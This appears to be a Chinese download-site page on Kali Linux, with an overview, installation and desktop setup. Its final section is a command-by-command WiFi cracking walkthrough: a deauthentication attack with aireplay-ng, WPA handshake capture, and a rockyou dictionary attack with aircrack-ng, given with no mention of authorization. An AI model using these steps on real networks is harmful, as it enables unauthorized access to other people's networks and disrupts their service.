kali linux是一個(gè)基于Debian的Linux發(fā)行版，用于數(shù)字取證操作系統(tǒng)，系統(tǒng)中預(yù)裝了非常多用于滲透測(cè)試的軟件，完全按照Debian開(kāi)發(fā)標(biāo)準(zhǔn)進(jìn)行完整重建，采用了全新的目錄框架并打包了大量的工具。

軟件介紹

kali linux是一款開(kāi)源免費(fèi)的操作系統(tǒng)，基于Debian的Linux發(fā)行版。改操作系統(tǒng)中安裝了非常多的滲透測(cè)試工具，并且還擁有開(kāi)源Git樹(shù)，讓用戶能用這款軟件做到很多有趣的事情，比如那些想調(diào)整或重建包的人可以瀏覽開(kāi)發(fā)樹(shù)得到所有源代碼，從而可以重建包。

kali linux會(huì)對(duì)系統(tǒng)中提供的工具進(jìn)行不斷的審查，去掉其中已經(jīng)無(wú)效或功能重復(fù)的工具，同時(shí)加入有些有趣的新工具，讓用戶可以有新的內(nèi)容去進(jìn)行操作，Kali Linux支持更多的無(wú)線設(shè)備,能正常運(yùn)行在各種各樣的硬件上。

軟件特色

Kali是BackTrack Linux完全遵循Debian開(kāi)發(fā)標(biāo)準(zhǔn)的完整重建.全新的目錄框架、復(fù)查并打包所有工具、還為VCS建立了Git 樹(shù).

集成注入補(bǔ)丁的內(nèi)核:

作為滲透測(cè)試者或開(kāi)發(fā)團(tuán)隊(duì)經(jīng)常需要做無(wú)線安全評(píng)估.所以的內(nèi)核包含了最新的注入補(bǔ)丁.

安全的開(kāi)發(fā)環(huán)境:

Kali Linux開(kāi)發(fā)團(tuán)隊(duì)由一群可信任的人組成,他們只能在使用多種安全協(xié)議的時(shí)候提交包或管理源.

包和源有GPG簽名:

每個(gè)開(kāi)發(fā)者都會(huì)在編譯和提交Kali的包時(shí)對(duì)它進(jìn)行簽名,并且源也會(huì)對(duì)它進(jìn)行簽名.

超過(guò)300個(gè)滲透測(cè)試工具:

復(fù)查了BackTrack里的每一個(gè)工具之后,去掉了一部分已經(jīng)無(wú)效或功能重復(fù)的工具.

永久免費(fèi):

Kali Linux一如既往的免費(fèi).你永遠(yuǎn)無(wú)需為Kali Linux付費(fèi).

開(kāi)源Git樹(shù):

是開(kāi)源軟件忠實(shí)的擁護(hù)者,那些想調(diào)整或重建包的人可以瀏覽開(kāi)發(fā)樹(shù)得到所有源代碼.

遵循FHS:

Kali的開(kāi)發(fā)遵循Linux目錄結(jié)構(gòu)標(biāo)準(zhǔn),用戶可以方便的找到命令文件、幫助文件、庫(kù)文件等..

安裝教程

需要注意的是，一般都會(huì)直接將Kali安裝到虛擬機(jī)中，這樣方便進(jìn)行管理操作。直接在虛擬機(jī)中找到下載的鏡像文件進(jìn)行安裝即可。

點(diǎn)擊下載：vmware8免費(fèi)版

這時(shí)候可以進(jìn)行命名虛擬機(jī)以及開(kāi)始存放文件，最好不要放在C盤(pán)，畢竟C盤(pán)作為系統(tǒng)盤(pán)還是需要重視一下，保不齊哪天飄紅運(yùn)行就卡頓了。

設(shè)置好虛擬機(jī)磁盤(pán)大小并按照提示操作，隨后開(kāi)啟虛擬機(jī)進(jìn)行圖形化安裝。

當(dāng)然此步開(kāi)始要選擇我們熟悉的中文簡(jiǎn)體語(yǔ)言，英語(yǔ)好的小伙伴可以選擇英文。

按照默認(rèn)提示進(jìn)行安裝后開(kāi)始設(shè)置賬戶密碼。

安裝完成后，大家可以看到非常簡(jiǎn)約的登錄界面，看起來(lái)十分舒適。

新手教程

Kali Linux安裝之后簡(jiǎn)單做一設(shè)置，讓Kali Linux變得更加好用，下面小編為大家?guī)?lái)Kali Linux的新手教程和一些設(shè)置方法，讓用戶們更好的使用該操作系統(tǒng)。

1.更新軟件源：

先備份軟件源sources.list文件，然后修改sources.list文件，在終端輸入：leafpad /etc/apt/sources.list

然后添加以下較快的源：

#中科大 

deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

將新的Kali源粘貼進(jìn)去，同時(shí)將官方源用#號(hào)注釋掉，然后保存。再到終端更新：

apt-get dist-upgrade 

apt-get update & apt-get upgrade

apt-get clean

當(dāng)一切更新完之后，想要修改主題該怎么辦呢？

首先，需要安裝一個(gè)主題管理軟件（gnome-tweak-tool ），只需要執(zhí)行：apt-get install gnome-tweak-tool 就可以了。

安裝完之后，執(zhí)行：gnome-tweak-tool 命令進(jìn)行打開(kāi)Gnome，我們到http://gnome-look.org 這個(gè)網(wǎng)站，選取我們喜歡的主題。下載下來(lái)之后，然后解壓復(fù)制到主題存放的文件夾下：/usr/share/themes ，之后再回到剛才那個(gè)gnome-tweak-tool界面，開(kāi)始各種設(shè)置。

2.安裝中文輸入法

從BackTrack系統(tǒng)開(kāi)始，一直在用經(jīng)典的iBus，切換快捷鍵Ctrl+Space(空格鍵)，安裝命令：

apt-get install ibus ibus-pinyin    #經(jīng)典的ibus輸入法

注：安裝完成后需要重啟。

3.安裝flash player

apt-get install flashplugin-nonfree update-flashplugin-nonfree --install

注：安裝完成后需要重啟。

4.安裝其他一些工具

apt-get install synaptic                   #安裝新立得

apt-get install software-center      #安裝ubuntu軟件中心

apt-get install file-roller                #安裝解壓縮軟件

apt-get install gedit                      #安裝gedit編輯軟件

apt-get install audacious             #audacious音樂(lè)播放器

apt-get install smplayer              #安裝smplayer視頻播放器

5.安裝最新iceweasel，并漢化iceweasel瀏覽器

Kali Linux 遵循Debian開(kāi)發(fā)標(biāo)準(zhǔn)，系統(tǒng)安裝完成后，自帶的瀏覽器iceweasel默認(rèn)為英文版，介于強(qiáng)迫癥，還是做一個(gè)簡(jiǎn)單的漢化吧，在終端輸入：

apt-get install iceweasel-l10n-zh-cn

ps：然后關(guān)機(jī)重啟！

如何更新到最新版iceweasel瀏覽器，首先在軟件源中添加：

deb http://mozilla.debian.net/ wheezy-backports iceweasel-release

然后在終端執(zhí)行以下代碼：

apt-get install pkg-mozilla-archive-keyring                    #導(dǎo)入PGP KEY

gpg --check-sigs --fingerprint --keyring /etc/apt/trusted.gpg.d/pkg-mozilla-archive-keyring.gpg --keyring /usr/share/keyrings/debian-keyring.gpg pkg-mozilla-maintainers  #新建鑰匙環(huán)

apt-get update && apt-get install -t wheezy-backports iceweasel && apt-get install iceweasel-l10n-zh-cn

6、Kali 卸載qq，執(zhí)行以下命令

dpkg -r qq-for-wine 或 sudo dpkg --purge wine-qq2013-longeneteam

破解無(wú)線網(wǎng)

一.打開(kāi)終端，用airmon-ng命令查看

如果出現(xiàn)無(wú)法訪問(wèn)…沒(méi)有那個(gè)文件或目錄

解決辦法：先在window主機(jī)上按win+r鍵然后輸入services.msc

回車

找到VMware USB Arbitration Service，雙擊

1.啟動(dòng)類型改為自動(dòng) …2.啟動(dòng)服務(wù)狀態(tài) …3.確定

二.打開(kāi)虛擬機(jī)的設(shè)置，改成跟下圖中2一樣（如果為灰色無(wú)法更改，則需要關(guān)閉kail系統(tǒng)后再改）

將usb無(wú)線網(wǎng)卡插在電腦上，（注意：網(wǎng)卡芯片為3070或者8187L，買(mǎi)的時(shí)候要注意）

點(diǎn)擊 虛擬機(jī) -> 可移動(dòng)設(shè)備 -> 選擇那個(gè)有WLAN的 -> 連接

三.命令ifconfig查看網(wǎng)卡信息，有wlan0表示連接成功

四.命令airmon-ng start wlan0開(kāi)啟網(wǎng)卡監(jiān)聽(tīng)模式

五.輸入iwconfig命令查看網(wǎng)卡信息， wlan0mon網(wǎng)卡名加了mon則表示成功

六.命令airodump-ng wlan0mon，開(kāi)始掃描WiFi，按ctrl+c結(jié)束任務(wù)

BSSID為wifi的MAC地址，PWR為信號(hào)強(qiáng)弱程度，數(shù)值越小信號(hào)越強(qiáng)；#DATA為數(shù)據(jù)量，越大使用的人就越多，CH為信道頻率（頻道），ESSID為wifi的名稱，中文可能會(huì)有亂碼

七,接著輸入airodump-ng --bssid BSSID -c 信道頻率 -w 抓包存儲(chǔ)的路徑 wlan0mon

如：airodump-ng --bssid BC:5F:6F:3D:03:74 -c 13 -w /home/wifi wlan0mon

數(shù)據(jù)包已經(jīng)正在抓取

如果抓取不到數(shù)據(jù)，新建一個(gè)終端：鍵入airepaly-ng -0 0 -c 連接到WiFi的手機(jī)mac地址 -a bssid 網(wǎng)卡名（一般為wlan0mon）

如：aireplay-ng -0 0 -c B8:37:65:94:5D:13 -a BC:5F:6F:3D:03:74 wlan0mon

(0 WiFi設(shè)備無(wú)限次數(shù),-0 8則攻擊8次。攻擊原理是：先讓設(shè)備掉線，設(shè)備會(huì)再自動(dòng)連接，并發(fā)這個(gè)自動(dòng)連接過(guò)程會(huì)進(jìn)行三次握手，會(huì)發(fā)送tcp包（里面包含加密的密碼數(shù)據(jù)），我方偽裝成WiFi熱點(diǎn)去竊取該數(shù)據(jù)包。我方竊取后即可用字典窮舉法暴力破解加密的WiFi密碼,

數(shù)據(jù)包里面的密碼是哈希加密的，哈希加密只能正向)

出現(xiàn)WPA handshake時(shí)，表示抓包成功

兩個(gè)終端都按Ctrl+c停止，不然那邊會(huì)一直斷網(wǎng)的

cd打開(kāi)抓包的目錄，ls列出來(lái)，就看到我們抓到的數(shù)據(jù)包

八.解壓kali自帶的字典文件 路徑：/usr/share/wordlists/rockyou.txt.gz

如 ：gzip -d/usr/share/wordlists/rockyou.txt.gz

九.鍵入 aircrack-ng -w 字典路徑 握手包路徑，回車后開(kāi)始爆破

如：aircrack-ng -w /usr/share/wordlists/rockyou.txt /home/wifi-0.1.cap

更新日志

默認(rèn)為非 root

Kali Single 安裝程序鏡像

Kali NetHunterRootless

主題和 kali-undercover 的改進(jìn)

新工具